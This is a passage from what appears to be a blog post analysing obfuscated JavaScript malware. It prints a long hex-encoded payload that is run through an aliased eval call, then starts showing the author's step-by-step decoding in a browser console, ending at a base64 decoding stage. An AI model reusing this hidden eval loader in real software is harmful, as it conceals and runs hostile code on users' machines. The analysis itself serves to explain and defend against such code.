x33\x45\x25\x33\x43\x31\x54\x50\x6d\x25\x33\x45\x25\x32\x37\x25\x32\x30\x69\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x32\x37\x25\x32\x37\x25\x32\x30\x36\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x32\x37\x25\x33\x43\x45\x64\x6d\x25\x32\x30\x65\x61\x33\x25\x32\x32\x6f\x78\x76\x5f\x4a\x43\x46\x56\x25\x32\x32\x25\x32\x30\x69\x70\x6f\x4f\x55\x32\x25\x32\x32\x4b\x5a\x51\x6c\x4d\x56\x70\x25\x33\x41\x25\x32\x30\x6a\x6c\x65\x56\x25\x33\x42\x25\x32\x30\x6f\x6b\x57\x4b\x56\x5a\x65\x6a\x25\x33\x41\x25\x32\x30\x51\x45\x69\x65\x53\x6c\x52\x61\x25\x33\x42\x25\x32\x30\x55\x6a\x67\x25\x33\x41\x25\x32\x30\x77\x25\x33\x42\x25\x32\x30\x69\x56\x57\x73\x25\x33\x41\x25\x32\x30\x77\x25\x33\x42\x25\x32\x30\x61\x4b\x46\x6b\x58\x25\x33\x41\x25\x32\x30\x25\x32\x37\x25\x32\x30\x36\x25\x32\x30\x6c\x4c\x55\x6d\x57\x66\x50\x70\x58\x64\x55\x70\x65\x25\x32\x30\x31\x25\x32\x30\x25\x32\x37\x67\x77\x25\x33\x42\x25\x32\x30\x64\x49\x4b\x49\x59\x6a\x25\x33\x41\x25\x32\x30\x25\x32\x37\x25\x32\x30\x36\x25\x32\x30\x6c\x4c\x55\x6d\x57\x66\x50\x70\x49\x5a\x5a\x63\x65\x6b\x25\x32\x30\x31\x25\x32\x30\x25\x32\x37\x6f\x74\x25\x33\x42\x25\x32\x30\x46\x43\x45\x62\x57\x6e\x65\x58\x64\x54\x2d\x4a\x66\x4a\x6b\x53\x25\x33\x41\x25\x32\x30\x57\x63\x57\x5a\x62\x25\x33\x42\x25\x32\x30\x71\x2d\x68\x6a\x48\x47\x5a\x25\x33\x41\x25\x32\x30\x30\x71\x77\x72\x25\x33\x42\x25\x32\x30\x2d\x50\x65\x70\x2d\x56\x67\x25\x32\x46\x59\x4a\x6f\x70\x25\x33\x41\x25\x32\x30\x77\x2e\x35\x25\x33\x42\x25\x32\x30\x66\x67\x5a\x59\x4d\x56\x61\x25\x33\x41\x25\x32\x30\x2e\x7a\x71\x25\x33\x42\x25\x32\x30\x62\x59\x4f\x6a\x55\x59\x25\x33\x41\x25\x32\x30\x52\x4a\x6c\x49\x56\x25\x32\x38\x66\x6c\x58\x54\x5a\x73\x75\x71\x6b\x63\x25\x32\x39\x25\x32\x32\x25\x33\x45\x25\x33\x43\x32\x54\x65\x6c\x25\x33\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x41\x25\x32\x41\x31\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x31\x73\x69\x43\x6c\x50\x6d\x6b\x25\x32\x30\x66\x58\x6d\x52\x25\x32\x30\x63\x65\x57\x43\x44\x63\x55\x5a\x25\x32\x30\x51\x46\x53\x55\x5a\x6a\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x47\x62\x25\x32\x30\x25\x32\x38\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x53\x50\x25\x32\x39\x25\x32\x30\x79\x4a\x43\x5f\x59\x68\x48\x51\x6a\x4c\x25\x33\x44\x4b\x63\x25\x32\x38\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x4e\x43\x58\x52\x65\x62\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x6f\x31\x59\x4d\x25\x32\x30\x25\x32\x38\x61\x51\x69\x5f\x4d\x56\x53\x5f\x6b\x6b\x25\x32\x39\x25\x32\x30\x41\x4a\x4c\x5f\x68\x45\x44\x36\x56\x66\x6b\x68\x57\x25\x32\x38\x5a\x69\x54\x5f\x63\x25\x32\x46\x58\x5f\x4b\x56\x6d\x57\x6c\x57\x57\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x68\x62\x25\x32\x30\x25\x32\x38\x4e\x55\x4f\x5f\x63\x51\x58\x5f\x65\x51\x25\x32\x39\x25\x32\x30\x25\x33\x44\x49\x36\x5f\x63\x25\x32\x46\x58\x35\x5a\x67\x6b\x6f\x6b\x74\x25\x32\x38\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x5a\x57\x6c\x44\x65\x56\x4d\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x59\x6d\x6b\x45\x74\x2e\x5a\x6a\x70\x56\x69\x73\x25\x32\x42\x49\x48\x51\x69\x55\x25\x32\x38\x46\x49\x32\x5f\x53\x68\x4c\x52\x52\x61\x36\x6b\x52\x6a\x25\x32\x38\x65\x6b\x64\x6b\x25\x32\x39\x25\x32\x43\x25\x32\x30\x64\x73\x51\x46\x70\x2e\x56\x65\x68\x56\x6a\x35\x4f\x5a\x4a\x5a\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x45\x6a\x54\x71\x6a\x56\x65\x73\x2e\x63\x49\x56\x74\x63\x55\x69\x55\x51\x6a\x34\x66\x25\x33\x44\x42\x25\x32\x38\x25\x32\x37\x74\x5a\x75\x5f\x63\x65\x64\x59\x6b\x5f\x62\x6b\x52\x56\x25\x32\x37\x25\x32\x39\x2e\x55\x6b\x6f\x68\x55\x2e\x47\x59\x69\x57\x63\x25\x32\x46\x75\x6e\x25\x32\x37\x57\x63\x6b\x5a\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x55\x6e\x59\x59\x4f\x47\x65\x6a\x2e\x63\x55\x57\x37\x62\x4c\x64\x43\x6a\x55\x39\x70\x45\x61\x25\x32\x38\x25\x32\x37\x6f\x70\x79\x5f\x68\x4d\x49\x4a\x6b\x25\x32\x37\x25\x32\x39\x2e\x69\x70\x6f\x4f\x55\x2e\x54\x50\x6a\x4e\x68\x42\x74\x33\x25\x32\x37\x58\x69\x66\x54\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x39\x5a\x53\x45\x57\x64\x55\x6a\x6a\x2e\x4a\x55\x6a\x79\x63\x43\x69\x46\x69\x6b\x25\x32\x42\x76\x25\x33\x44\x55\x25\x32\x38\x25\x32\x37\x77\x75\x64\x5f\x48\x43\x55\x55\x25\x32\x37\x25\x32\x39\x2e\x6f\x6a\x62\x62\x55\x2e\x4b\x5a\x51\x6c\x4d\x56\x70\x38\x25\x32\x37\x59\x63\x66\x62\x67\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x4c\x71\x51\x55\x6f\x2e\x65\x64\x56\x55\x68\x61\x35\x43\x62\x50\x6d\x56\x25\x32\x38\x46\x50\x44\x5f\x54\x71\x61\x45\x56\x47\x4a\x53\x6e\x59\x53\x6a\x25\x32\x38\x5a\x5a\x64\x5f\x4e\x6b\x51\x70\x65\x5a\x62\x69\x5f\x6c\x71\x68\x25\x32\x39\x25\x32\x43\x25\x32\x30\x4c\x71\x51\x55\x6f\x2e\x62\x59\x55\x69\x6a\x77\x59\x47\x68\x45\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x61\x6c\x6a\x5a\x6b\x5a\x6e\x6a\x25\x32\x30\x30\x37\x31\x5f\x66\x64\x25\x32\x46\x68\x48\x51\x6a\x4c\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x44\x25\x32\x30\x25\x32\x38\x66\x54\x68\x5f\x63\x6b\x58\x55\x56\x63\x25\x32\x39\x25\x32\x30\x6e\x49\x56\x57\x69\x64\x25\x33\x42\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x72\x51\x55\x25\x32\x30\x63\x6f\x76\x66\x42\x75\x25\x32\x30\x6e\x25\x32\x30\x59\x66\x59\x72\x64\x56\x6d\x70\x2e\x46\x51\x46\x70\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x62\x25\x32\x30\x25\x32\x38\x63\x62\x34\x65\x4b\x70\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x48\x6f\x4e\x5f\x67\x66\x57\x61\x56\x55\x25\x32\x30\x25\x32\x46\x25\x32\x30\x70\x56\x57\x47\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x41\x49\x49\x5f\x65\x51\x25\x32\x46\x64\x50\x6b\x25\x32\x38\x4b\x75\x70\x6a\x55\x75\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x62\x63\x6a\x64\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6f\x49\x56\x38\x5a\x63\x61\x65\x58\x6a\x25\x32\x38\x25\x32\x32\x25\x33\x44\x25\x33\x44\x44\x5f\x4d\x6a\x71\x6d\x56\x57\x71\x56\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x73\x7a\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4a\x57\x50\x54\x6a\x65\x65\x51\x25\x32\x30\x4d\x59\x55\x55\x4d\x73\x32\x69\x63\x6b\x58\x55\x25\x32\x38\x57\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x75\x57\x56\x25\x32\x30\x52\x54\x56\x6c\x25\x32\x30\x38\x25\x32\x30\x6d\x4c\x64\x54\x56\x6e\x2e\x4d\x6a\x4d\x6a\x52\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x5a\x65\x63\x6b\x61\x2e\x51\x50\x63\x65\x57\x54\x25\x32\x30\x70\x25\x32\x30\x56\x6b\x55\x54\x52\x65\x50\x69\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x37\x42\x25\x32\x30\x5a\x62\x25\x32\x30\x25\x32\x38\x6d\x69\x56\x75\x25\x32\x39\x25\x32\x30\x6c\x56\x47\x58\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x57\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4d\x65\x64\x47\x65\x6d\x38\x65\x4a\x6b\x42\x59\x25\x32\x38\x41\x4f\x4a\x5f\x66\x65\x42\x6e\x49\x43\x56\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x69\x61\x6a\x39\x59\x63\x4c\x66\x53\x70\x25\x32\x38\x25\x32\x32\x78\x4e\x44\x5f\x6b\x6b\x36\x69\x64\x57\x58\x47\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x6a\x72\x71\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x31\x25\x32\x41\x25\x30\x44\x25\x30\x41\x50\x69\x57\x25\x32\x30\x74\x25\x32\x30\x55\x5f\x46\x61\x59\x25\x32\x38\x25\x32\x30\x59\x5f\x53\x32\x31\x25\x32\x38\x25\x32\x30\x25\x33\x46\x25\x33\x46\x25\x32\x30\x25\x32\x39\x25\x32\x30\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x45\x4b\x4c\x79\x33\x38\x45\x73\x44\x66\x47\x66\x43\x4d\x42\x75\x25\x32\x42\x66\x38\x78\x45\x50\x5a\x71\x44\x69\x39\x67\x31\x38\x51\x63\x4a\x70\x32\x6f\x43\x78\x51\x49\x4a\x4b\x50\x75\x4a\x51\x54\x71\x4c\x66\x72\x65\x31\x71\x50\x69\x44\x50\x43\x73\x37\x4b\x39\x7a\x31\x65\x38\x7a\x4a\x71\x25\x33\x44\x76\x4a\x4e\x35\x65\x25\x30\x44\x25\x30\x41\x45\x4a\x45\x6d\x33\x70\x47\x6b\x44\x48\x55\x59\x49\x61\x45\x7a\x44\x4b\x59\x66\x34\x4c\x49\x74\x50\x66\x25\x32\x46\x5a\x44\x5a\x25\x32\x42\x74\x25\x32\x42\x66\x77\x72\x45\x66\x46\x74\x50\x79\x56\x51\x32\x4c\x54\x6f\x49\x36\x42\x70\x44\x67\x25\x33\x44\x61\x4b\x37\x55\x62\x4a\x67\x4c\x75\x4c\x76\x43\x62\x32\x61\x61\x79\x43\x4d\x4f\x72\x25\x30\x44\x25\x30\x41\x37\x71\x74\x79\x41\x4f\x50\x78\x4b\x71\x48\x31\x4b\x25\x32\x42\x41\x62\x45\x63\x55\x74\x32\x70\x25\x33\x44\x53\x45\x48\x49\x64\x55\x61\x56\x68\x44\x64\x54\x73\x44\x73\x71\x59\x44\x50\x43\x66\x43\x4a\x46\x70\x79\x66\x38\x78\x51\x50\x56\x72\x45\x6c\x55\x63\x31\x73\x54\x6e\x4a\x70\x25\x32\x42\x73\x44\x41\x25\x33\x44\x55\x4a\x4e\x50\x74\x25\x30\x44\x25\x30\x41\x49\x51\x50\x72\x4d\x66\x76\x61\x31\x37\x53\x76\x44\x4d\x37\x73\x36\x61\x39\x78\x31\x68\x48\x79\x57\x61\x54\x79\x49\x4e\x70\x65\x45\x4a\x59\x70\x33\x70\x47\x6a\x44\x34\x56\x4c\x49\x64\x55\x30\x44\x71\x48\x73\x34\x4c\x74\x74\x4f\x79\x4b\x69\x44\x63\x25\x32\x42\x70\x78\x25\x33\x44\x25\x33\x44\x76\x45\x69\x56\x70\x44\x43\x55\x63\x25\x30\x44\x25\x30\x41\x32\x4c\x4c\x73\x56\x36\x79\x6d\x44\x51\x4c\x57\x49\x72\x54\x72\x4a\x6a\x50\x70\x4c\x25\x33\x44\x44\x4d\x32\x61\x37\x79\x4f\x63\x25\x33\x44\x5a\x36\x61\x6c\x79\x30\x4f\x50\x79\x4b\x61\x62\x31\x56\x25\x32\x42\x41\x5a\x45\x63\x49\x6f\x32\x36\x4f\x65\x44\x48\x25\x32\x42\x4e\x54\x4b\x56\x69\x45\x61\x6a\x79\x33\x62\x41\x6f\x43\x66\x33\x66\x25\x30\x44\x25\x30\x41\x43\x70\x47\x64\x79\x66\x4c\x79\x44\x76\x56\x6f\x44\x69\x39\x67\x31\x38\x50\x6f\x4a\x70\x32\x73\x50\x51\x51\x48\x4a\x61\x50\x75\x4a\x41\x50\x6f\x4c\x66\x73\x4e\x33\x4b\x25\x32\x46\x73\x44\x63\x37\x74\x37\x4b\x39\x78\x30\x65\x34\x7a\x4b\x37\x54\x30\x4a\x4e\x35\x65\x51\x5a\x45\x6d\x43\x4a\x61\x66\x44\x6f\x59\x5a\x25\x30\x44\x25\x30\x41\x49\x61\x51\x7a\x50\x71\x58\x74\x34\x62\x35\x74\x45\x50\x53\x66\x44\x63\x46\x70\x25\x32\x42\x50\x70\x66\x44\x43\x42\x73\x45\x53\x56\x4f\x31\x4c\x34\x73\x49\x4a\x42\x6f\x44\x67\x25\x33\x44\x61\x49\x25\x32\x42\x50\x75\x4a\x6a\x50\x70\x58\x76\x7a\x59\x32\x61\x47\x79\x50\x4d\x25\x32\x46\x6d\x37\x71\x78\x79\x31\x4f\x54\x78\x4a\x61\x34\x31\x25\x30\x44\x25\x30\x41\x49\x25\x32\x42\x42\x4d\x45\x5a\x67\x73\x33\x70\x50\x54\x44\x48\x39\x63\x48\x37\x59\x77\x45\x71\x6a\x79\x33\x62\x41\x76\x44\x69\x43\x66\x50\x5a\x33\x63\x78\x43\x34\x72\x50\x50\x56\x70\x45\x79\x67\x63\x31\x73\x4c\x6d\x4a\x70\x32\x74\x45\x41\x50\x58\x4a\x4b\x62\x74\x55\x77\x51\x64\x4c\x66\x72\x61\x42\x37\x25\x32\x46\x73\x25\x30\x44\x25\x30\x41\x43\x63\x37\x70\x36\x4b\x75\x69\x30\x75\x38\x76\x4a\x4b\x41\x6c\x49\x64\x74\x62\x44\x47\x38\x32\x25\x30\x44\x25\x30\x41\x25\x32\x41\x6f\x25\x30\x44\x25\x30\x41\x27\x29\x29\x3b'</span>; <span style="color: #0000ff">return</span> moqbqYo; } <span style="color: #0000ff">var</span> ifOXCIjSUMc = eval; ifOXCIjSUMc(aAwJinPSCPg());</pre>  </div></div></p>
<p><p>The \x45 are hex codes.&#160; Essencially what is going on here is the developer is using hex code to represent text.&#160; Not exactly super obfuscated, but interested.&#160; If you scroll all the way to the end you will see an ‘eval’ command – which reinforces the notion that eval is evil in javascript.&#160; Anyway, still using the console tab in Chrome, all of this can be evaluated.&#160; In this case, I have to evaluate it twice, because the outputted code is still obfuscated:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> clReNWvDNSS = <span style="color: #006080">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='</span>; <span style="color: #0000ff">var</span> FzCfZkfvHvl = <span style=
